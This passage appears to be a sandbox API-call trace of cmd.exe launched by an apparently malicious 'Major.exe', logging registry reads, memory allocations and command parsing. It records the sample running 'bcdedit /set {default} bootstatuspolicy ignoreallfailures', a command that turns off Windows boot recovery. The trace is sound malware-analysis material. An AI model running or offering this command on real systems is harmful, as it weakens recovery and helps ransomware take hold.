lpcbData=0x93897fe6e4*=0x1000) returned 0x2 [0087.048] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x93897fe6e0, lpData=0x93897fe700, lpcbData=0x93897fe6e4*=0x1000 | out: lpType=0x93897fe6e0*=0x4, lpData=0x93897fe700*=0x1, lpcbData=0x93897fe6e4*=0x4) returned 0x0 [0087.048] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x93897fe6e0, lpData=0x93897fe700, lpcbData=0x93897fe6e4*=0x1000 | out: lpType=0x93897fe6e0*=0x0, lpData=0x93897fe700*=0x1, lpcbData=0x93897fe6e4*=0x1000) returned 0x2 [0087.048] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x93897fe6e0, lpData=0x93897fe700, lpcbData=0x93897fe6e4*=0x1000 | out: lpType=0x93897fe6e0*=0x4, lpData=0x93897fe700*=0x0, lpcbData=0x93897fe6e4*=0x4) returned 0x0 [0087.048] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x93897fe6e0, lpData=0x93897fe700, lpcbData=0x93897fe6e4*=0x1000 | out: lpType=0x93897fe6e0*=0x4, lpData=0x93897fe700*=0x40, lpcbData=0x93897fe6e4*=0x4) returned 0x0 [0087.048] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x93897fe6e0, lpData=0x93897fe700, lpcbData=0x93897fe6e4*=0x1000 | out: lpType=0x93897fe6e0*=0x4, lpData=0x93897fe700*=0x40, lpcbData=0x93897fe6e4*=0x4) returned 0x0 [0087.048] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x93897fe6e0, lpData=0x93897fe700, lpcbData=0x93897fe6e4*=0x1000 | out: lpType=0x93897fe6e0*=0x0, lpData=0x93897fe700*=0x40, lpcbData=0x93897fe6e4*=0x1000) returned 0x2 [0087.048] RegCloseKey (hKey=0x88) returned 0x0 [0087.048] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x93897fe6e8 | out: phkResult=0x93897fe6e8*=0x88) returned 0x0 [0087.048] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x93897fe6e0, lpData=0x93897fe700, lpcbData=0x93897fe6e4*=0x1000 | out: lpType=0x93897fe6e0*=0x0, lpData=0x93897fe700*=0x40, lpcbData=0x93897fe6e4*=0x1000) returned 0x2 [0087.048] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x93897fe6e0, lpData=0x93897fe700, lpcbData=0x93897fe6e4*=0x1000 | out: lpType=0x93897fe6e0*=0x4, lpData=0x93897fe700*=0x1, lpcbData=0x93897fe6e4*=0x4) returned 0x0 [0087.048] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x93897fe6e0, lpData=0x93897fe700, lpcbData=0x93897fe6e4*=0x1000 | out: lpType=0x93897fe6e0*=0x0, lpData=0x93897fe700*=0x1, lpcbData=0x93897fe6e4*=0x1000) returned 0x2 [0087.048] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x93897fe6e0, lpData=0x93897fe700, lpcbData=0x93897fe6e4*=0x1000 | out: lpType=0x93897fe6e0*=0x4, lpData=0x93897fe700*=0x0, lpcbData=0x93897fe6e4*=0x4) returned 0x0 [0087.048] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x93897fe6e0, lpData=0x93897fe700, lpcbData=0x93897fe6e4*=0x1000 | out: lpType=0x93897fe6e0*=0x4, lpData=0x93897fe700*=0x9, lpcbData=0x93897fe6e4*=0x4) returned 0x0 [0087.048] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x93897fe6e0, lpData=0x93897fe700, lpcbData=0x93897fe6e4*=0x1000 | out: lpType=0x93897fe6e0*=0x4, lpData=0x93897fe700*=0x9, lpcbData=0x93897fe6e4*=0x4) returned 0x0 [0087.048] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x93897fe6e0, lpData=0x93897fe700, lpcbData=0x93897fe6e4*=0x1000 | out: lpType=0x93897fe6e0*=0x0, lpData=0x93897fe700*=0x9, lpcbData=0x93897fe6e4*=0x1000) returned 0x2 [0087.048] RegCloseKey (hKey=0x88) returned 0x0 [0087.048] time (in: timer=0x0 | out: timer=0x0) returned 0x5ccd3bba [0087.048] srand (_Seed=0x5ccd3bba) [0087.049] GetCommandLineW () returned="/C bcdedit /set {default} bootstatuspolicy ignoreallfailures" [0087.049] malloc (_Size=0x4000) returned 0x1e9319d55a0 [0087.049] GetCommandLineW () returned="/C bcdedit /set {default} bootstatuspolicy ignoreallfailures" [0087.049] malloc (_Size=0xffce) returned 0x1e931c20080 [0087.049] ??_V@YAXPEAX@Z () returned 0x1e931c20080 [0087.050] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1e931c20080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0087.050] malloc (_Size=0xffce) returned 0x1e931c30060 [0087.050] ??_V@YAXPEAX@Z () returned 0x1e931c30060 [0087.051] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1e931c30060, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0087.051] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0087.051] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0087.051] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0087.051] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0087.051] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0087.051] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0087.051] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0087.051] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0087.051] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0087.051] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0087.051] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0087.052] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0087.052] GetProcessHeap () returned 0x1e931a50000 [0087.052] RtlFreeHeap (HeapHandle=0x1e931a50000, Flags=0x0, BaseAddress=0x1e931a56660) returned 1 [0087.052] GetEnvironmentStringsW () returned 0x1e931a55b40* [0087.052] GetProcessHeap () returned 0x1e931a50000 [0087.052] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0xb46) returned 0x1e931a56690 [0087.052] FreeEnvironmentStringsA (penv="A") returned 1 [0087.052] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0087.052] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0087.052] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0087.052] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0087.052] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0087.052] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0087.052] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0087.052] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0087.052] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0087.052] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0087.052] malloc (_Size=0xffce) returned 0x1e931c40040 [0087.052] ??_V@YAXPEAX@Z () returned 0x1e931c40040 [0087.053] GetProcessHeap () returned 0x1e931a50000 [0087.053] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0x40) returned 0x1e931a58850 [0087.053] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1e931c40040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0087.053] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x1e931c40040, lpFilePart=0x93897ff260 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x93897ff260*="Desktop") returned 0x17 [0087.054] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0087.054] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x93897fef90 | out: lpFindFileData=0x93897fef90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x1e931a588a0 [0087.054] FindClose (in: hFindFile=0x1e931a588a0 | out: hFindFile=0x1e931a588a0) returned 1 [0087.054] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x93897fef90 | out: lpFindFileData=0x93897fef90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x1e931a588a0 [0087.054] FindClose (in: hFindFile=0x1e931a588a0 | out: hFindFile=0x1e931a588a0) returned 1 [0087.054] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x93897fef90 | out: lpFindFileData=0x93897fef90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd6bbca2c, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xd6bbca2c, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x1e931a588a0 [0087.055] FindClose (in: hFindFile=0x1e931a588a0 | out: hFindFile=0x1e931a588a0) returned 1 [0087.055] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0087.055] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0087.055] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0087.055] GetProcessHeap () returned 0x1e931a50000 [0087.055] RtlFreeHeap (HeapHandle=0x1e931a50000, Flags=0x0, BaseAddress=0x1e931a56690) returned 1 [0087.055] GetEnvironmentStringsW () returned 0x1e931a50fc0* [0087.055] GetProcessHeap () returned 0x1e931a50000 [0087.055] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0xb7e) returned 0x1e931a59430 [0087.055] FreeEnvironmentStringsA (penv="=") returned 1 [0087.055] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1e931c20080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0087.055] GetProcessHeap () returned 0x1e931a50000 [0087.055] RtlFreeHeap (HeapHandle=0x1e931a50000, Flags=0x0, BaseAddress=0x1e931a58850) returned 1 [0087.055] ??_V@YAXPEAX@Z () returned 0x1 [0087.055] ??_V@YAXPEAX@Z () returned 0x1 [0087.055] GetProcessHeap () returned 0x1e931a50000 [0087.055] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0x4016) returned 0x1e931a59fd0 [0087.056] GetProcessHeap () returned 0x1e931a50000 [0087.056] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0x88) returned 0x1e931a50fc0 [0087.056] GetProcessHeap () returned 0x1e931a50000 [0087.056] RtlFreeHeap (HeapHandle=0x1e931a50000, Flags=0x0, BaseAddress=0x1e931a59fd0) returned 1 [0087.056] GetConsoleOutputCP () returned 0x1b5 [0087.077] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a7effbb0 | out: lpCPInfo=0x7ff6a7effbb0) returned 1 [0087.077] GetUserDefaultLCID () returned 0x409 [0087.078] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff6a7efbb78, cchData=8 | out: lpLCData=":") returned 2 [0087.078] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x93897ff620, cchData=128 | out: lpLCData="0") returned 2 [0087.078] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x93897ff620, cchData=128 | out: lpLCData="0") returned 2 [0087.078] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x93897ff620, cchData=128 | out: lpLCData="1") returned 2 [0087.078] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff6a7efbb68, cchData=8 | out: lpLCData="/") returned 2 [0087.078] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff6a7efbb00, cchData=32 | out: lpLCData="Mon") returned 4 [0087.078] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff6a7efbac0, cchData=32 | out: lpLCData="Tue") returned 4 [0087.078] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff6a7efba80, cchData=32 | out: lpLCData="Wed") returned 4 [0087.078] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff6a7efba40, cchData=32 | out: lpLCData="Thu") returned 4 [0087.078] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff6a7efba00, cchData=32 | out: lpLCData="Fri") returned 4 [0087.078] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff6a7efb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0087.078] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff6a7efb980, cchData=32 | out: lpLCData="Sun") returned 4 [0087.078] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff6a7efbb58, cchData=8 | out: lpLCData=".") returned 2 [0087.078] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff6a7efbb40, cchData=8 | out: lpLCData=",") returned 2 [0087.078] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0087.080] GetProcessHeap () returned 0x1e931a50000 [0087.080] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x0, Size=0x20c) returned 0x1e931a510c0 [0087.080] GetConsoleTitleW (in: lpConsoleTitle=0x1e931a510c0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe") returned 0x22 [0087.097] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0087.097] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0087.097] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0087.097] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0087.097] ??_V@YAXPEAX@Z () returned 0x1 [0087.097] GetProcessHeap () returned 0x1e931a50000 [0087.098] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0x4012) returned 0x1e931a59fd0 [0087.098] GetProcessHeap () returned 0x1e931a50000 [0087.098] RtlFreeHeap (HeapHandle=0x1e931a50000, Flags=0x0, BaseAddress=0x1e931a59fd0) returned 1 [0087.098] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0087.098] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0087.098] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0087.098] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0087.098] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0087.098] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0087.098] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0087.098] GetProcessHeap () returned 0x1e931a50000 [0087.098] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0xb0) returned 0x1e931a512e0 [0087.098] GetProcessHeap () returned 0x1e931a50000 [0087.098] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0x20) returned 0x1e931a58850 [0087.099] GetProcessHeap () returned 0x1e931a50000 [0087.099] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0x76) returned 0x1e931a513a0 [0087.100] GetConsoleTitleW (in: lpConsoleTitle=0x93897ff510, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe") returned 0x22 [0087.290] malloc (_Size=0xffce) returned 0x1e931c30060 [0087.290] ??_V@YAXPEAX@Z () returned 0x1e931c30060 [0087.291] malloc (_Size=0xffce) returned 0x1e931c40040 [0087.291] ??_V@YAXPEAX@Z () returned 0x1e931c40040 [0087.291] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0087.291] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0087.291] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0087.292] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0087.292] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0087.292] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0087.292] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0087.292] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0087.292] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0087.292] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0087.292] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0087.292] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0087.292] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0087.292] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0087.292] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0087.292] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0087.292] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0087.292] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0087.292] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0087.292] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0087.292] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0087.292] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0087.292] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0087.292] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0087.292] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0087.292] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0087.292] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0087.292] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0087.292] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0087.292] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0087.292] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0087.292] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0087.292] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0087.292] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0087.292] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0087.292] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0087.292] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0087.292] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0087.293] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0087.293] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0087.293] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0087.293] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0087.293] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0087.293] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0087.293] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0087.293] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0087.293] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0087.293] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0087.293] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0087.293] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0087.293] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0087.293] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0087.293] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0087.293] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0087.293] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0087.293] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0087.293] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0087.293] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0087.293] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0087.293] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0087.293] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0087.293] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0087.293] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0087.293] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0087.293] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0087.293] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0087.293] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0087.293] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0087.293] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0087.293] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0087.293] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0087.293] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0087.293] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0087.294] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0087.294] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0087.294] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0087.294] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0087.294] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0087.294] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0087.294] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0087.294] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0087.294] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0087.294] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0087.294] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0087.294] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0087.294] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0087.294] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0087.294] ??_V@YAXPEAX@Z () returned 0x1 [0087.294] GetProcessHeap () returned 0x1e931a50000 [0087.294] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0xffde) returned 0x1e931a59fd0 [0087.295] GetProcessHeap () returned 0x1e931a50000 [0087.295] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0x86) returned 0x1e931a51420 [0087.295] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0087.295] malloc (_Size=0xffce) returned 0x1e931c40040 [0087.295] ??_V@YAXPEAX@Z () returned 0x1e931c40040 [0087.296] GetProcessHeap () returned 0x1e931a50000 [0087.296] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0x1ffac) returned 0x1e931a69fc0 [0087.297] SetErrorMode (uMode=0x0) returned 0x0 [0087.297] SetErrorMode (uMode=0x1) returned 0x0 [0087.298] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1e931a69fd0, lpFilePart=0x93897fed90 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x93897fed90*="Desktop") returned 0x17 [0087.298] SetErrorMode (uMode=0x0) returned 0x1 [0087.298] GetProcessHeap () returned 0x1e931a50000 [0087.298] RtlReAllocateHeap (Heap=0x1e931a50000, Flags=0x0, Ptr=0x1e931a69fc0, Size=0x50) returned 0x1e931a69fc0 [0087.298] GetProcessHeap () returned 0x1e931a50000 [0087.298] RtlSizeHeap (HeapHandle=0x1e931a50000, Flags=0x0, MemoryPointer=0x1e931a69fc0) returned 0x50 [0087.298] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0087.298] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0087.298] GetProcessHeap () returned 0x1e931a50000 [0087.298] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0x1bc) returned 0x1e931a514b0 [0087.298] GetProcessHeap () returned 0x1e931a50000 [0087.298] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0x368) returned 0x1e931a51680 [0087.303] GetProcessHeap () returned 0x1e931a50000 [0087.303] RtlReAllocateHeap (Heap=0x1e931a50000, Flags=0x0, Ptr=0x1e931a51680, Size=0x1be) returned 0x1e931a51680 [0087.303] GetProcessHeap () returned 0x1e931a50000 [0087.303] RtlSizeHeap (HeapHandle=0x1e931a50000, Flags=0x0, MemoryPointer=0x1e931a51680) returned 0x1be [0087.303] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0087.303] GetProcessHeap () returned 0x1e931a50000 [0087.303] RtlAllocateHeap (HeapHandle=0x1e931a50000, Flags=0x8, Size=0xe8) returned 0x1e931a51850 [0087.303] GetProcessHeap () returned 0x1e931a50000 [0087.303] RtlReAllocateHeap (Heap=0x1e931a50000, Flags=0x0, Ptr=0x1e931a51850, Size=0x7e) returned 0x1e931a51850 [0087.303] GetProcessHeap () returned 0x1e931a50000 [0087.303] RtlSizeHeap (HeapHandle=0x1e931a50000, Flags=0x0, MemoryPointer=0x1e931a51850) returned 0x7e [0087.304] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.304] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x93897feb00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x93897feb00) returned 0xffffffffffffffff [0087.304] GetLastError () returned 0x2 [0087.304] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.304] FindFirstFileExW (in: 